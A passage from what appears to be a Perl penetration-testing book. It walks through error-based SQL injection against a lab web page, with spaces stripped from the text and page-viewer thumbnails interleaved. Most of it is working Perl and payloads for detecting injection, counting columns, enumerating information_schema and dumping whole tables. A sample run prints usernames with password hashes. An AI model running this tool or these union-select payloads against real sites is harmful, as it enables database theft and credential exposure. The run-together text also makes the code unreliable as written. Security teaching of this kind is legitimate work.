StringSQLinjectionAswelearnedatthebeginningofthissection,SQLinjectionattacksworkbestwhentheattackerknowsthebasicprinciplesofthelanguage.Whatwillthedifferencebeiftheinteger3fromthepreviousexamplewasactuallyastring?Well,ifthebackendcode(inourcase,PHP)handledtheintegerstringpoorlyandsimplywrappeditinsinglequotesbeforeperformingaWHEREclauseintheSQLquery,wecanstillpotentiallyhaveanSQLinjectionvulnerability.Armedwiththisknowledge,wecanadjustourownqueryforjustthiskindofdata.AcommentintheMySQLsyntaxcanstartwithtwohyphens,andmusthaveaspaceafterthem.Iftheintegerweresimplywrappedinsinglequotes,wecouldinsertourownSQLintothequotesandcommentouttheclosingquote.Let’stakealookatasimpleexample:select*fromuserswereid=‘3’
ThiscanbeeasilychangedbymanglingtheGETparameterwitharegularexpressionasfollows:select*fromuserswhereid=‘3’or1=1—’
TheSQLDBMSwillthenshowusalltheresults,as1willalwaysequal1,andignoreanythingafterthetwohyphens,whichisjustthewebapplicationprogrammer’sclosingsinglequote.Also,aswesawinthediscoveryapplicationearlier,thesinglequoteisencodedinURLcharactersas%27,andaspaceisURLencodedas%20.ThisisespeciallyimportantwhenweareusingaplussymbolinaPerlLWP::UserAgentHTTPrequest,aswewillseelater.SonowtheentireURLwilllookasfollows:vuln/showget.php?id=3%27%20or%20%271%27=%271%27
NowwesimplyneedtoconstructitusingPerl.WearegoingtoemployanotherPerlmodule,List::Compare.Thismodulewillallowustoanalyzethereturnedwebpagesmoreaccurately.AfteraddingtheuseList::Compare;directivetothetopoftheapplication,let’sslightlymodifythecodebyaddinganothercalltopage()afterconstructingthenewURL.
Wewilladdthiscodejustunderthefollowingline:foreachmy$domLine(@content){#lookforerror
Theadditionalcodenowlooksasfollows:if($domLine=~m/error.*syntax.*sql/i){#errorreturned
print“PositiveMySQLinjection:
“,$url,”\n”;
$url=$getUrl;#resetURL
page($url);#recallpagenormally
my@origContent=@content;
page($url);#recallpagenormally
$url=~s/(\?[^=]+=[0-9a-
z_])/$1%20or%201=1/;#mangleGET
page($url);#recallpagewith
![Page 186: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/186.jpg)
mangledGET
my$listCompare=List::Compare->new(‘-u’,\@content,\@origContent);
if(scalar($listCompare->get_unique)>0){
print“PositiveSQLdatadump:“,$url,”\n”;
}
Webeginouradditionbyrecallingthewebpagenormally,justasanyuserwouldinabrowser.Then,[email protected]@contentpreviouslycontainedtheSQLerrorpage,whichwillnormallyhavelesscontent,andalsotoavoidfalsepositiveswhenmatchingtheerrorcontentwiththenextquery.Next,wemangletheGETparameterwitharegularexpression,(\?[^=]+=[0-9a-z_])/$1%20or%201=1.TheURLshouldnowlooklikethis:/vuln/showget.php?id=3%27%20or%201=1
Then,wesimplychecktheuniquenessofthetwoarrays,@contentand@origContent,usingournewPerlmoduleList::Compare.Theget_unique()method,whenrunagainstthe$listCompareobject,willreturnalistofuniquelinesfrom@content(thequerywejustcreated).Then,wesimplycheckitsscalarvalue,andevenifasinglelineispresentweknowwehavepossiblygleanednewdatausingtheSQLinjectionvulnerability.
Let’stestthisnewapplicationadditiononadatabasetableinwhichtheGETparameter,id,referstoastring.Theoutputisunsuccessfulinreturningextradata,asweseenext:WebServerFound:lighttpd/1.4.28
Page:index.html
File:comments.php
File:http://lab.weaknetlabs.com/vuln/index.php
File:../../var/www/index.html
File:vuln/showget.php?id=3
TryingmangledGET:vuln/showget.php?id=%27
PositiveMySQLinjection:vuln/showget.php?id=%27
Let’snowaddanelse{}compoundstatementtoourapplication,whichwilltryadifferentsyntaxforstringsstoredintheDBMStable.if(scalar($listCompare->get_unique)>0){
print“PositiveSQLdatadump:“,$url,”\n”;
}else{
$url=$getUrl;#resetURLagain
$url=~s/(\?[^=]+=[0-9a-z_])/$1%27%20or%201=1—%20/;#newmangle
page($url);#getthemangledGET
my$listCompare=List::Compare->new(‘-u’,\@content,\@origContent);
print“PositiveSQLdatadump(String):“,$url,”\n”if(scalar
($listCompare->get_unique)>0);
$injType=“string”;#changeinjectiontype
}
ThechangesintheprecedingcodenowresettheURLandrecallthepage,againtestingforstringinjectionwiththenewURLasfollows:showget.php?id=3%27%20or%201=1—%20
Noticethe%20(URLencodedspace)afterthecommenthyphens.Thisistoensurethatthewebprogrammer’sclosingsinglequotedoesnotcomedirectlyafterthecommenthyphensasthiswouldcauseanSQLsyntaxerror.Then,wedothesamelistcomparisonon
![Page 187: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/187.jpg)
@contentand@origContentbybycreatingthe$listCompareobjectandcallingitsget_unique()method.Afterthis,wechangetheinjectiontypetostringfromitspreviousvalueofintfor$injType.Thiswillensurethatfuturecallstothepagewillincludeaclosingsinglequote.
NowthatwehavepositivelyconfirmedthatwefoundanSQLinjectionpoint,let’smoveontogetmoredatabaseinformation,includingtablesandcolumns.
![Page 188: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/188.jpg)
SQLcolumncountingObtainingthecolumncountofthecurrenttableisvitalinSQLinjection.ThereasonbeingwecannotjustasktheDBMStoappenddatatotheoutputofthequery,asthiscouldresultinacolumncountmismatcherror.AsweareluckyenoughtohaveavulnerablesiteforourexamplewhichdisplaysSQLsyntaxerroroutputinthewebpage,wecansimplyappendanORDERBYclauseandtrycolumnnumbersuntilwegetanerror.Thiskindofbruteforceisnoisy,sowewilluseanalgorithmtocutdownonthenumberofHTTPrequests.First,wewillstartwith5andthen,ifwegetanerror,wewilldecrementourcountby1,andsoon,untilwehavethenumberofcolumns.Iftherequestissuccessful,however,wewilladd5moreandrepeatthedecrementprocessuntilwegetanerrororfinallydeducethecolumncountofthecurrenttable.
Let’screateanewsubroutinecalledcolCount()andseeifwecaneasilyobtainthecolumncountofthecurrenttable.subcolCount{#(columncount,url,errorboolean)
my($col,$url,$err)=@_;
returnif$col>32;#32columns,abitmuch
page($url.”%20ORDER%20BY%20”.$col.”—%20”):
page($url.”%27%20ORDER%20BY%20”.$col.”—%20”);
foreach(@content){#ifwefindanerror:
if(m/unknown.*column.*order/i){
$col-=1;#wewentover,goback
colCount($col,$url,1);#recursion
return;#mustreturnwhenallcompleted
}
}
if(!$err){#noerrordetected
$col+=5;#incrementandtryagain
colCount($col,$url,0);
return;
}else{
print“ColumnCount:“,$col,”\n”;
$colCount=$col;#keeptrack
return;
}
}
ThisisournewsubroutinefortheSQLivulnerability-testingapplication.Tocallit,wesimplyaddthefollowinglineofcodeintoablockofcode:colCount(5,$url,0);#getcolumncount
ThisblockofcoderunswhenaMySQLerrorisreturnedinthewebpage,startingwiththefollowingline:if($domLine=~m/error.*syntax.*sql/i){#errorreturned
Thisnewsubroutineisrecursiveandwillstartwitha$ivalueof5.As3liesexactlyinthemiddleof1and5,itrequirestheexactsamenumberofHTTPrequeststoaccomplishifweweretostartat1.Ifthecolumncountisbelow3,wecanseethatthealgorithmismoreefficientthansimplyincrementingthrougheachpossiblevaluefrom1to35untilwereachthecolumncount(linearsearch)usingthefollowingsimpleequation:
![Page 189: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/189.jpg)
Here,yisthenumberofHTTPrequests,xisthenumberofcolumns,andthetopbrackets(aroundthetwofractions)denotethemathematicalceilingfunction.Usingthisalgorithmfor20columnswillyieldonly4requestsasopposedto20.17columnswillrequireonly7requestsinsteadof17.Thisalgorithmisquiteefficientwithnumbersbelow19,which,inpenetrationtestingsimplewebapplications,seemstobeacommonlimitforresultsets.Also,itdoesnotdoanycomparisonsasabinarysearchwould,therebysavingussome(trivial)CPUcycles.
Wesavethecolumncountinthe$colCountglobalvariableforuseinthenextsection.Wedothisbyconstructingquerystringstoobtainevenmoreinformationfromtheserver.
![Page 190: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/190.jpg)
MySQLpostexploitationAfterfindingaSQLivulnerability,wecanuseafewtechniquestogatherasmuchinformationaspossible.Inthenextfoursubsections,wewilllearnhowtoobtaincolumncounts,serverinformation,tableresultsets,andallrecordsfromtablesanddatabases,usingtheSQLivulnerabilityandPerl.
![Page 191: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/191.jpg)
DiscoveringthecolumncountLet’sturnourattentiontowhatwecandowiththecolumncount.WeshouldinstantlyrecognizethatwecanputsimpleMySQLkeywordsorfunctionsintooneofthefields,forinstance,@@version,tofindtheversionoftheDBMSforpotentialfutureremoteexploitation.@@datadircanbeusedtoprovideinsightintothestructureoftheserver’sfilesystem.Also,@@hostnamecanproducethehostnameoftheserver.
AfulllistofthesespecialMySQL-specificvariablescanbefoundontheOracleMySQLdocumentationpage.Nowthatweknowourcolumncountis3fromtheSQLitestingapplicationwehavewritten,let’stakealookathowwecanconstructaqueryinPerltograbtheMySQLversion.First,weneedtoenumeratewhichcolumnisdisplayedonthepage;forinstance,inourshowget.phpfile,thecolumnidisnevershown,justdateandcomment.Weconstructaninjectionquerysuchasthefollowingone:unionselect@@version,null,null
Here,theversionwillnotbedisplayedonthepageorreturnedbyour$res->contentmethodcallfromLWP::UserAgent.Let’stakealookatthefollowinglineofcode:unionselectnull,@@version,null
Alternatively,considerthefollowinglineofcode:unionselectnull,null,@@version
Ifweusetheprecedinglinesofcode,theserverversionstringwillbesuccessfullydisplayedinthe$resobject’scontentfromthereturnedpage.Let’snowaddanewsubroutinetohandletheenumeration.Sincethepagewillmostlikelyhavealotofotherdatainit,wewillmakeuseoftheMySQLconcat()concatenationfunctionandsurroundthedatawequeryforwitharbitrarystrings.Forthesestrings,wewilluse0x031337.Thisway,wecanusethePerlsubstitutionoperatorwithasimpleregularexpressiontopulloutthedatathatwewant.AsuccessfulSQLstringforourshowget.phpfile’sGETparameterwillnowlooklikethis:/vuln/showget.php?
id=3%20union%20select%20null,concat(‘0x031337’,@@version,‘0x031337’),null%20
—%20
Now,thereturnedcontentfromthepagewillcontainastringsuchas0x0313375.1.66-0+squeeze10x031337,andwecanpullthedataoutusingthefollowingregularexpression:$data=~s/0x031337(.*)0x031337/$1/;
Thedataiswithinbackreference$1.Let’saddthisasanewsubroutineintoourapplication:subinjColumn{#findaninjectablecolumn
my$url=shift;
my$union=“%20union%20select%20”;
$union=“%27”.$unionif($injTypeeq“string”);#closequote
my@fields;#listofunionparams
for(my$i=0;$i<$colCount;$i++){#constructlist
my$field=””;
![Page 192: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/192.jpg)
for(my$j=0;$j<$colCount;$j++){
if($j==$i){
$field.=”’-VAR-‘,”;
}else{
$field.=“null,”;
}
}
push(@fields,$field);#saveforqueries
}
for(my$i=0;$i<$colCount;$i++){
$fields[$i]=~s/,$//;#removetrailingcomma
page($url.$union.$fields[$i].”%20—%20”);
foreach(@content){
if(m/-VAR-/){#doesitcontainthisuniquestring?
print“Foundinjectablecolumn:“,$i,”\n”;
$injectString=$url.$union.$fields[$i].”%20—%20”;#saveit
fornewqueries
return;
}
}
}
return;
}
Inourprecedingnewsubroutine,we:
HandleanincomingURLCreateaSQLunionstatementtoappendCheckwhethertheinjectiontypeisastring,andifso,addaURLencoded(closing)singlequoteas%27Usethecolumncountofthecurrenttablethatwehavealreadyobtainedandconstructanarrayofallpossiblestrings,justaswementionedinthepreviousexample,whereweusednullvaluesand@@versionQuerytheserverforthesameamountoftimesascolumns,testingeachone,returningwhenthereturnedpagecontainsthestring-VAR-,andsavingitintotheglobalvariable$injectField
Now,let’smoveontogatheringserverinformationusingourSQLinjectionvulnerability.
![Page 193: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/193.jpg)
GatheringserverinformationNowthatweknowthecolumncount,whichcolumntoinjectinto,whetherornotwecanuseintegerorstringinjection,andwhattheDBMSversionis,wehaveasolidfootholdtofurtherourpayloadandcreativelyexploitthevulnerabilityusingmoderateSQLknowledge.
Let’smodifythepage()subroutinetocheckforanadditionalparameter$_[0].Iftrue,wecandothe-VAR-substitutionwiththeconcat()SQLfunction.subpage{#checkforpages
my$url=“http://”.$host.”:”.$port.”/”.$_[0];
if($_[1]){
$url=~s/’-VAR-‘/concat(‘0x031337’,$_[1],‘0x031337’)/;
}
my$res=$ua->get($url);
if($res->is_success){
@content=split(/\015?\012/,$res->content);
return$_[0];
}
$reqCount++;
return;
}
Thisisthemodifiedpage()subroutine.Aswecansee,thenewqueryaddsaconcat()functioncallinwhichwewrapthe0x031337stringsaroundtheincoming-VAR-or$_[0].Thisargumentcanbeafunctioncallorevenanothersubquery,aswewillseelater.Now,let’screateanothersubroutinecalledparsePage()toparseoutthedatawearetryingtoqueryviatheconcat()function.subparsePage{
foreach(@content){
if(m/0x031337(.+)0x031337/){
return“Data:“,$1,”\n”;
}
}
}
ThisisournewsubroutineforparsingouttheSQLdataweretrievefromthepage()subroutine.Wecanthencallitasfollows:print“User:“,parsePage(page($injectString,‘user()’));
ThisshouldreturnresultsfromtheDBMS.Wecanusethisforsystem_user()anddatabase()aswell.WecanalsosendinSQLqueries,forinstance:my($v,$dd,$h)=
split(“,”,parsePage(page($injectString,‘group_concat(@@version,',',@@datadir,',',@@hostname)’)));
Inthepreviousfunctioncall,wecanpotentiallyreturnthreevaluablepiecesofinformationfromtheserverwithonesingleSQL/HTTPrequest,asopposedtoourpreviousexamplewherewecalledtheserverthreetimesandpaddedeachquerywithnulls.Wecanalsodothisforthedatabase(),user(),andsystem_user()functionsasfollows:my($u,$su,$db)=
![Page 194: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/194.jpg)
split(“,”,parsePage(page($injectString,‘group_concat(user(),',',system_user(),',',database())’)));
Wehavenowcompiledthreequeriesintoonesinglequery.Let’snowrunthisapplicationagainsttheshowget.phpfilewithallofourshinynewadditionsandupgrades.However,beforedoingthis,let’soutputtheinjectiontypeforourpenetrationtestanalysisreporting,usingthe$injTypestringwiththefollowingline:print“InjectionType:“,$injType,”\n”;
WecannowrunourSQLinjectionapplication.
root@wnld960:~#perlbannergrab.pl10.0.0.15180
WebServerFound:lighttpd/1.4.28
Page:index.html
File:comments.php
File:http://lab.weaknetlabs.com/vuln/index.php
File:../../var/www/index.html
File:vuln/showget.php?id=3
TryingmangledGET:vuln/showget.php?id=%27
PositiveMySQLinjection:vuln/showget.php?id=%27
PositiveSQLdatadump:vuln/showget.php?id=3%20or%201=1
ColumnCount:3
Foundinjectablecolumn:1
InjectionType:int
User:webadmin@localhost
SystemUser:webadmin@localhost
Database:vuln
DBMSVersion:5.1.66-0+squeeze1
ServerFS:/var/lib/mysql/
Hostname:wnld960
HTTPRequests:12
TCPRequests:1
root@wnld960:~#
Thesmallestsuccesscanbesowonderfulwhenprogramming,nomatterhowmuchdebuggingandresearchwedo.TheprecedingcodeoutputissoliddatatopresenttoourclientifwefindanSQLinjectionvulnerabilityononeoftheirservers,withjust15HTTPrequestsand1TCPconnection(totheportinthebeginning).Let’saddafunctionalitytoourapplicationthatwillfindallaccessibledatabasesandtheircorrespondingtables.
![Page 195: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/195.jpg)
ObtainingtableresultsetsInMySQL,thereexistsadatabasecalledinformation_schema,whichwecanpotentiallyusetofindmoremetadataaboutourdatabases.Thisdatabasecontainsatablenamedtables,whichcontainsallmetadataaboutallofthetablesinallofthedatabases.Someofthefieldsthatwecanqueryarelistednextwiththeirdata:
TABLE_SCHEMA:ThisisofthetypestringandisthedatabasewherethetableislocatedTABLE_ROWS:ThisisofthetypeintegerandisthesumofallrowsinthetableTABLE_NAME:Thisisalsoofthetypestringandisthenameofthetable
Withaone-stopgo-toplacefortablemetadata,wecannowmodifyourquerytofindalldatabasesandtheirtables.Itmightbenaturalforustothink,“whydon’twejustgetthetable_rowsvalueofthetablestableandcreatealooptoqueryforalltables?”Thisactuallycan’tbedone,becausethetablewillreturnanullvalueasitsowntable_rowsvalue,evenwhenqueriedasauserroot.Anotherthingtoconsideristhatwecanonlyaccesstablesthatwe,asauser(user())thatisspecifiedinthewebprogrammer’sdefectivecode,havepermissiontoaccess.Also,ifweusethegroup_concat()function,wemightgetundesiredorlimitedresultsduetothedefaultgroup_concat_max_lenvalue,whichisonly1024bytes.Let’sfirstgetalistofalldatabasesthatwehaveaccesstofromtheuser$user(inourcase,webadmin’@‘localhost),withthefollowingquery:selectgroup_concat(distincttable_schemaSEPARATOR“.
”’,‘)frominformation_schema.tables
Weaddthisinourcode:my@databases=split(“,“,parsePage(page($injectString,”(select
group_concat(distincttable_schemaSEPARATOR“.”’,‘)from
information_schema.tables)”)));
Here,[email protected],let’sloopthrougheachdatabaseandprintallavailabletablesusinganothergroup_concat()call,byaddingthefollowingcode:foreachmy$db(@databases){
print“AccessibleDB:“,$db,”\n”;
print”AccessibleTable:“,$_,”\n”foreach(
split(“,”,parsePage(page($injectString,”(selectgroup_concat(distinct
table_nameSEPARATOR‘,’)frominformation_schema.tableswheretable_schema
=’”.$db.”’)”))));
print“\n”;
}
Thiscodewillloopthroughalldatabasesinthe@databasesarray,queryinformation_schemaforeachdatabasefound,andprintallavailabletables.
Unfortunately,wecomeacrossastrangesemanticerrorwiththismethod.TheMySQLdefaultinstallationlimitofthegroup_concat(),being1024bytes,displaysnothingforthetableswehaveaccesstointheinformation_schematable.Also,whatifthenumberoftablesthattheuserwebadmin’@‘localhosthasaccesstoismuchlargerthantwo?This
![Page 196: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/196.jpg)
willcauseourSQLianalysisapplicationtostophere.It’salwaysbesttoavoidusingthegroup_concat()functionforthisveryreasonwhileexploitingSQLinjectionvulnerabilities.
Now,weneedtoalterthecodetoloopandqueryasingletablenameperiteration.Thisisdefinitelynoisierinlogging,butisanoptionweneedtoconsider.First,weknowthattheinformation_schematabledoesnothaveanindex,sowecancreateoneprogrammaticallywithSQL,withthefollowingquery:selectTABLE_NAMEfrom(select@r:=@r+1asid,TABLE_NAMEfrom(select
@r:=0)r,information_schema.tablespwheretable_schema=
‘information_schema’)kwhereid=1;
Then,allwehavetodoisincrementtheidandlookforour0x031337stringinthereturnedoutput.Thisiswherewehavetoencodeourplussymbol+into%2Borelseitwillbeinterpretedbythewebserverbeforemappingtherequesttotheshowget.phpfile,whichwillultimatelycauseanSQLsyntaxerror.Let’susetheparsePage(page());methodthatwealreadyemployed,andcreateanewsubroutinecalledgetIndivTbls:subgetIndivTbls{#loopthrougheachhere
my$db=shift;
my$table=shift;
my$column=shift;
my$colNum=1;#startwithcol1
while(grep{/0x031337/}@content){
print“AccessibleTable:“,parsePage(page($injectString,”(select
“.$column.”from(select\@r:=\@r\%2B1asid,”.$column.”from(select
\@r:=0)r,”.$table.”pwheretable_schema=’”.$db.”’)kwhereid=
“.$colNum.”)”)),”\n”;
$colNum++;
}
return;
}
Thisnewsubroutinewilldisplaytheindividualtables.Itworksbybeingpassedthecolumnname,tablename,anddatabasename,asfollows:if(scalar@tables<1){
print“Tablelistfor“,$db,”toolong,fetchingindividually:\n”;
getIndivTbls(‘information_schema’,
‘information_schema.tables’,‘TABLE_NAME’);
}
Intheprecedingcode,thesubroutinegetscalledaftercheckingwhetherornotasuccessfulqueryforalltableshasbeenperformed.Then,whiletheoutputfromtheparsePage(page())methodreturnsourspecialstring,0x031337,weprintit.Finally,weincrement$colNum,whichisourprogrammaticallycreatedidfield,andsendanotherquery.
![Page 197: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/197.jpg)
ObtainingrecordsAsweknow,weshouldtechnicallyavoidthegroup_concat()functionwhenweeitherseeatruncatedlistreturnedorwhenwehavealargeamountofcolumnsinatable.Let’sseehowwecanprogrammaticallyloopthrougheachcolumnofeachrecordusingPerl.Firstofall,thesimplequerythatwewillmodifywithsimplestringsubstitutionsusingregularexpressionswilllooklikethis:select–COL-from(select@r:=@r+1asgid,-COL-from(select@r:=0)r,-TBL-
p)kwheregid=-INT-;
Sincewealreadyknowthetableandcolumnnames,wecanreusetheidgenerationSQLcodefromtheObtainingtableresultsetssectionandsimplycreatealoopthatchangesthetablenamepertable,thecolumnnamepercolumn,andtheintegerGID.
NoteGIDisnotusedinthistable,andifitwere,wewouldneedtoalterthatnamebecausethesyntaxcouldproduceerrorsorundesiredresults.
Let’swriteasamplePerlprogramthatwilldojustthat.#!/usr/bin/perl-w
usestrict;
useLWP::UserAgent;
my$ua=LWP::UserAgent->new;#nowspoofaUA:
$ua->agent(“Mozilla/5.0(Windows;U;WindowsNT6.1en-US;rv:1.9.2.18)“
.“Gecko/20110614Firefox/3.6.18”);
$ua->from(‘[email protected]’);
$ua->timeout(10);#setupatimeout
my$queryRec=”unionselectnull,concat(‘0x031337’,(select“
.”-COL-from(select\@r:=\@r%2B1asgid,-COL-from(“
.“select\@r:=0)r,-TBL-p)kwheregid=-INT-),‘0x0”
.“31337’),null—“;
my$queryCount=”unionselectnull,concat(‘0x031337’,(selec”
.“tcount(*)from-TBL-),‘0x031337’),null—%20”;
my$tableCount=”unionselectnull,concat(‘0x031337’,(selec”
.“tcount(table_name)frominformation_schema.tables“
.“wheretable_rows>0),‘0x031337’),null—“;
my$columnCount=”unionselectnull,concat(‘0x031337’,(sele”
.“ctcount(column_name)frominformation_schema.colum”
.“nswheretable_name=‘-TBL-‘),‘0x031337’),null—“;
my$tableName=”unionselectnull,concat(‘0x031337’,(select”
.”table_namefrom(select\@r:=\@r%2B1asgid,table_”
.“namefrom(select\@r:=0)r,information_schema.tabl”
.“espwheretable_rows>0)kwheregid=-INT-),‘0x”
.“031337’),null—“;
my$columnName=”unionselectnull,concat(‘0x031337’,(selec”
.“tcolumn_namefrom(select\@r:=\@r%2B1asgid,colu”
.“mn_namefrom(select\@r:=0)r,information_schema.c”
.“olumnspwheretable_name=‘-TBL-‘)kwheregid=“
.”-INT-),‘0x031337’),null—“;
my($host,$port,$file)=@ARGV;#getasarguments
$host=“http://”.$host;
$host.=“:”.$port.$file;
![Page 198: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/198.jpg)
my$totalTables=getData($host.$tableCount);#gettotaltablescount
my@tables;#holdalltables
my@metadata;#holdstringsofTABLE,COL,COL,COL,…,COL
Allqueriesarepredefinedsothatwecaneasilysubstitutethe-VAR-,-INT-,or-ID-typeofvariables.The$totalTablesintegeristhesumofalltables,andwegathercountsofobjectsbeforegatheringdatainordertocutbackonSQLqueries.The@tablesarraywillholdallofourtablenames.SincePerlexcelswithstringmanipulation,wewillsimplystorethecolumnsandtablesinastringassociationintothe@metadataarray.Thevaluesinthestringswillbecommadelimited,andthefirstvalueisthetablename.Forexample,takealookatthefollowing:users,id,user,passwd
Thisshowsthetableusersalongwiththecolumnsid,user,andpasswd.Wecanthenusethesplit()functiononthestringlaterandcreatealoopoverallcolumnstogathertheirdata.Let’scontinuewiththeworkflowportionoftheapplication.for(my$i=1;$i<=$totalTables;$i++){
(my$tableNameInt=$tableName)=~s/-INT-/$i/;
push(@tables,getData($host.$tableNameInt));#saveit
}
foreachmy$tbl(@tables){
my$metaString=$tbl.”,”;
(my$url=$host.$columnCount)=~s/-TBL-/$tbl/;
my$c=getData($url);
for(my$i=1;$i<=$c;$i++){
($url=$host.$columnName)=~s/-INT-/$i/;
$url=~s/-TBL-/$tbl/;
$metaString.=getData($url);
$metaString.=“,”unless($i==$c);
}
push(@metadata,$metaString);
}
print$_,”\n”foreach(@metadata);
foreachmy$mdata(@metadata){#eachtable
my$recCount=0;#getrecordcount
my@ms=split(“,”,$mdata);#splitmetadata
my$tbl=shift@ms;#grabtablename
(my$recs=$queryCount)=~s/-TBL-/$tbl/;
my$url=$host.$recs;
$recCount=getData($url);
print“Table:“,$tbl,”hasrecordcountof:“,$recCount,”\n”;
$url=$host.$queryRec;#resetqueryURL
(my$tUrl=$url)=~s/-TBL-/$tbl/;#substitutetable
for(my$i=1;$i<=$recCount;$i++){
(my$rTUrl=$tUrl)=~s/-INT-/$i/;#INT,TBL
foreachmy$col(@ms){#tableisalreadyshifted
(my$cTUrl=$rTUrl)=~s/-COL-/$col/g;
printgetData($cTUrl),”“;
}
print“\n”;#recordseparator
}
}
![Page 199: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/199.jpg)
Here,thefirstloopgathersalltablenamesaccessiblebytheuserspecifiedinthewebapplicationandputsthemintothe@tablesarray.Thenextlooploopsoverthetablesandconstructsthe@metadatastringsaftergatheringthecolumncountandcolumnnames.Thethirdloopsimplysplitsthemetadatastringsintothe@mcarrayandshiftsoffthetablename.Then,foreachoftheremainingvalues(whicharejustcolumns),aqueryismadetogathertherecordcount.Then,foreachrecordcount,weprogrammaticallycreateourownabstractID,gid,andprintthefielddatafromthedatabase.Thelastportionofthefollowingcodeisthesimplesubroutinethatgetsthepageperqueryandparsesoutthedatasquishedbetweenthe0x031337substrings.subparsePage{
foreach(@content){
if(m/0x031337(.+)0x031337/){
return$1;
last;#wefoundwhatwewant
}
}
}
}
Let’srunthisapplicationonourSQLinjectionvulnerablewebpage,showget.php:test,id,db,tbl
users,id,username,passwd
webdata,id,date,comment
webdatastring,id,dat,comment
Table:testhasrecordcountof:5
1sodapepsi
2sodacoke
3sodamtndew
4candyaero(mint)
5candycadburyegg
Table:usershasrecordcountof:6
1trevelyncbfdac6008f9cab4083784cbd1874f76618d2a97
2gabriellaa3ce284b3e5d63708dde3d7d9138f835a6760a57
3chloea2c91ed5cf3ec12fe5e4904d34667310ca8182af
4julie59c826fc854197cbd4d1083bce8fc00d0761e8b3
5peteybf614e25ec8503d7c938bb0ea0609b74fd93d517
6piratec4dfbad41aca3de7da79bdfd508449ee05d3de8f
Table:webdatahasrecordcountof:7
109.06.2014Ilovethiswebsite!
209.06.2014Iamgettingtheerror“TNS-12560:TNS:protocoladaptererror”
canyouexplainwhy?
309.08.2014Thanksforthetutorial
409.12.2014beensearchingthewebforages,thishelpedmeoutALOT!
509.18.2014Don’tforgettomentiontoneverloginasroot.
609.19.2014Thesecodesdidn’otresolvecurrentissue!PLZHELP!!
709.25.2014Thankyou!!OMG!
Table:webdatastringhasrecordcountof:4
009.06.2014Ilovethiswebsite!
109.06.2014Iamgettingtheerror“TNS-12560:TNS:protocoladaptererror”
canyouexplainwhy?
209.08.2014Thanksforthetutorial
309.12.2014beensearchingthewebforages,thishelpedmeoutALOT!
![Page 200: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/200.jpg)
WecansuccessfullygatheralldatafromadatabaseusingasimpleSQLinjectionwhenanerrorispresent.Inthenextsection,wewillbecoveringamuchmoreadvancedmethodforSQLinjection,calledblindSQLinjection.
![Page 201: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/201.jpg)
